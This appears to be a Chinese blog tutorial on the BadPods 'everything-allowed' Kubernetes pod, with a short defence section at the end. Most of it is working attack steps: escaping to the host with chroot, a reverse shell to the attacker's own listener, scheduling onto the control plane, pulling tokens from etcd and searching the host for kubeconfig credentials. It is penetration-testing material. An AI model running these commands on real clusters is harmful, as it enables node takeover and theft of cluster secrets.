K8s安全攻防必备:BadPods项目中的Everything-Allowed Pod渗透技巧
2026/8/10 19:16:28 网站建设 项目流程

K8s安全攻防必备:BadPods项目中的Everything-Allowed Pod渗透技巧

【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods

BadPods是一个专注于Kubernetes安全研究的开源项目,提供了一系列包含高权限配置的Pod清单文件。其中,Everything-Allowed Pod作为最危险的配置之一,能够挂载主机文件系统并获取完整的主机命名空间和权限,是K8s渗透测试中的关键武器。本文将带你深入了解这种高危Pod的渗透技巧,帮助安全人员快速掌握K8s集群攻防要点。

一、Everything-Allowed Pod的核心危害

Everything-Allowed Pod通过精心设计的配置,实现了对主机系统的完全控制。其核心特性包括:

  • 主机文件系统挂载:将主机根目录挂载到Pod内部
  • 特权模式:获得容器内的root权限
  • 完整命名空间访问:包括PID、网络、IPC等主机命名空间
  • 全部Linux capabilities:不受限制的系统调用能力

这种配置下的Pod就像打开了通往主机系统的五扇大门,攻击者可以轻松突破容器隔离,直接获取节点root权限。

二、快速部署与访问技巧

2.1 一键创建Exec类型Pod

通过kubectl直接部署预配置的清单文件:

git clone https://gitcode.com/gh_mirrors/ba/badPods cd badPods kubectl apply -f manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml

部署完成后立即获取交互式shell:

kubectl exec -it everything-allowed-exec-pod -- chroot /host bash

提示:除了独立Pod,项目还提供了Deployment、StatefulSet、DaemonSet等多种资源类型的配置,位于manifests/everything-allowed/目录下。

2.2 反向Shell部署方法

当无法直接exec到Pod时,可使用反向shell配置:

  1. 本地启动监听:
ncat --ssl -vlp 3116
  1. 部署反向shell Pod:
HOST="你的IP" PORT="3116" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
  1. 接收到shell后立即切换根目录:
chroot /host

三、后渗透阶段关键操作

3.1 控制平面节点突破

成功获取worker节点权限后,下一步是尝试部署到控制平面节点:

  1. 查看集群节点:
kubectl get nodes
  1. 编辑Pod清单,添加节点选择器:
nodeName: k8s-control-plane
  1. 重新部署Pod,若成功调度到控制平面,可直接访问etcd数据库:
strings /var/lib/etcd/member/snap/db | grep eyJhbGciOiJ

3.2 利用can-they.sh脚本枚举权限

项目提供的scripts/can-they.sh脚本可自动检测所有Pod令牌的权限:

# 复制脚本到Pod kubectl cp scripts/can-they.sh everything-allowed-exec-pod:/ # 赋予执行权限 kubectl exec -it everything-allowed-exec-pod -- chmod +x /can-they.sh # 检查是否有权限列出kube-system命名空间的secret kubectl exec -it everything-allowed-exec-pod -- /can-they.sh -i "list secrets -n kube-system"

典型输出会显示哪些令牌具有高权限,例如:

Token Location: /host/var/lib/kubelet/pods/c888d3a8-743e-41dd-8464-91b3e6628174/volumes/kubernetes.io~secret/gatekeeper-admin-token-jmw8z/token Can I list secrets -n kube-system? yes

3.3 敏感信息挖掘路径

在主机文件系统中搜索关键配置:

# 查找kubeconfig文件 find /host -name kubeconfig 2>/dev/null # 搜索可能的凭证文件 grep -R "current-context" /host/root/ /host/home/ 2>/dev/null

四、防御策略与安全建议

虽然本文聚焦攻击技巧,但防御同样重要。针对Everything-Allowed Pod的防护措施包括:

  • 启用PodSecurityPolicy:限制特权容器创建
  • 实施RBAC最小权限原则:严格控制Service Account权限
  • 节点污点与容忍度:防止非授权Pod调度到控制平面
  • 定期安全审计:使用kubectl get pods --all-namespaces -o json | jq '.items[].spec.containers[].securityContext'检查危险配置

五、总结

Everything-Allowed Pod作为BadPods项目中的核心组件,展示了Kubernetes配置不当可能导致的严重安全风险。通过本文介绍的方法,安全人员可以快速评估集群安全性,而管理员则能针对性地强化防御措施。记住,K8s安全的关键在于"最小权限"原则——任何时候都不应让Pod获得超出其功能需求的权限。

想要深入学习更多K8s安全攻防技巧,可以参考项目中的manifests/everything-allowed/README.md文档,其中包含了更详细的后渗透操作指南和参考资源。

【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询